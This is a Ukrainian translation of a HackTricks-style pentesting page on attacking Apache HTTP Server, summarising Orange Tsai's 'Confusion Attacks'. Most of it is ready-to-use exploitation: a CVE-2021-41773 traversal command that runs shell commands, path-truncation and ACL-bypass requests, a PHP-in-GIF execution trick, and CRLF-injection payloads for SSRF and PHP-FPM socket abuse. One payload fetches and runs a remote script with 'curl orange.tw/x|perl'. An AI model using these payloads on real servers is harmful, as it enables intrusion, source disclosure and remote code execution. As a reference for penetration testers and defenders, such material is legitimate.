247 lines
17 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache
{{#include ../../banners/hacktricks-training.md}}
## Виконувані PHP розширення
Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, ви можете виконати:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Також деякі місця, де ви можете знайти цю конфігурацію, це:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Ці типи атак були представлені та задокументовані [**компанією Orange у цьому блозі**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), і нижче наведено резюме. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них змінювати деякі неочікувані дані може викликати вразливість у наступному модулі.
### Filename Confusion
#### Truncation
**`mod_rewrite`** обрізає вміст `r->filename` після символу `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Це не зовсім неправильно, оскільки більшість модулів буде розглядати `r->filename` як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему.
- **Path Truncation**
Можна зловживати `mod_rewrite`, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Помилкове призначення RewriteFlag**
У наступному правилі переписування, поки URL закінчується на .php, він буде оброблятися та виконуватися як php. Тому можливо надіслати URL, який закінчується на .php після символу `?`, завантажуючи при цьому в шлях інший тип файлу (наприклад, зображення) з шкідливим php-кодом всередині:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**
Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений з такими конфігураціями:
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на `.php`, такі як `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видалить усе після символу `?`, попередня URL-адреса дозволить завантажити `/admin.php`, навіть якщо попереднє правило забороняло це.
### DocumentRoot Confusion
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Цікава деталь про Apache полягає в тому, що попередній перепис намагатиметься отримати доступ до файлу як з documentRoot, так і з кореня. Отже, запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі.
#### **Розкриття вихідного коду на стороні сервера**
- **Розкрити вихідний код CGI**
Просто додавання %3F в кінці достатньо, щоб розкрити вихідний код модуля cgi:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **Розкриття вихідного коду PHP**
Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку коду php:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Маніпуляція локальними гаджетами**
Головна проблема з попередньою атакою полягає в тому, що за замовчуванням більшість доступу до файлової системи буде заборонено, як у [шаблоні конфігурації](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) Apache HTTP Server:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Однак, операційні системи [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) за замовчуванням дозволяють `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Отже, було б можливим **зловживати файлами, розташованими всередині `/usr/share` в цих дистрибутивах.**
**Локальний гаджет для розкриття інформації**
- **Apache HTTP Server** з **websocketd** може відкрити скрипт **dump-env.php** за адресою **/usr/share/doc/websocketd/examples/php/**, що може призвести до витоку чутливих змінних середовища.
- Сервери з **Nginx** або **Jetty** можуть розкрити чутливу інформацію веб-додатків (наприклад, **web.xml**) через свої стандартні веб-корені, розташовані під **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Локальний гаджет для XSS**
- На Ubuntu Desktop з **встановленим LibreOffice**, експлуатація функції перемикання мови довідкових файлів може призвести до **Cross-Site Scripting (XSS)**. Маніпулювання URL за адресою **/usr/share/libreoffice/help/help.html** може перенаправити на шкідливі сторінки або старі версії через **небезпечне правило переписування**.
**Локальний гаджет для LFI**
- Якщо встановлені PHP або певні фронтенд-пакети, такі як **JpGraph** або **jQuery-jFeed**, їх файли можуть бути використані для читання чутливих файлів, таких як **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Локальний гаджет для SSRF**
- Використовуючи **magpie_debug.php** з **MagpieRSS** за адресою **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що надає доступ до подальших експлойтів.
**Локальний гаджет для RCE**
- Можливості для **Remote Code Execution (RCE)** величезні, з вразливими установками, такими як застарілий **PHPUnit** або **phpLiteAdmin**. Їх можна експлуатувати для виконання довільного коду, демонструючи широкий потенціал маніпуляцій з локальними гаджетами.
#### **Джейнбрейк з локальних гаджетів**
Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, такими як:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Більше того, зловживаючи символічними посиланнями, було можливим отримати **RCE в Redmine.**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Цей напад експлуатує перетин функціональності між директивами `AddHandler` та `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` на `r->handler`, якщо перше встановлено, а друге - ні.
Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як обробник**, ефективно роблячи `AddType` та `AddHandler` ідентичними за ефектом.
#### **Перезаписати обробник для розкриття PHP вихідного коду**
У [**цьому виступі**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, де неправильний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP вихідний код**. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису `r->content_type` на `text/html`.\
Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне PHP код і не інтерпретує його.
#### **Перезаписати обробник для XXXX**
TODO: Orange ще не розкрив цю вразливість
### **Виклик довільних обробників**
Якщо зловмисник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде завершено. Однак, можливо **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо **r**eturned `Status` дорівнює 200 і заголовок `Location` починається з `/`, відповідь обробляється як серверна редирекція і повинна бути оброблена.
Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Розділі 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка локальної редирекції відповіді:
> CGI-скрипт може повернути URI шлях і рядок запиту (local-pathquery) для локального ресурсу в заголовку Location. Це вказує серверу, що він повинен повторно обробити запит, використовуючи вказаний шлях.
Отже, для виконання цього нападу потрібна одна з наступних вразливостей:
- CRLF Injection у заголовках відповіді CGI
- SSRF з повним контролем заголовків відповіді
#### **Довільний обробник для розкриття інформації**
Наприклад, `/server-status` повинен бути доступний лише локально:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Можливо отримати доступ, встановивши `Content-Type` на `server-status` і заголовок Location, що починається з `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Випадковий обробник до повного SSRF**
Перенаправлення до `mod_proxy` для доступу до будь-якого протоколу за будь-якою URL:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
Однак заголовок `X-Forwarded-For` додається, що заважає доступу до кінцевих точок метаданих хмари.
#### **Довільний обробник для доступу до локального сокета Unix Domain**
Доступ до локального сокета Unix Domain PHP-FPM для виконання PHP бекдору, розташованого в `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Випадковий обробник для RCE**
Офіційний [PHP Docker](https://hub.docker.com/_/php) образ включає PEAR (`Pearcmd.php`), інструмент управління пакетами PHP через командний рядок, який можна зловживати для отримання RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Перевірте [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), написаний [Phith0n](https://x.com/phithon_xg) для деталей цієї техніки.
## Посилання
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
{{#include ../../banners/hacktricks-training.md}}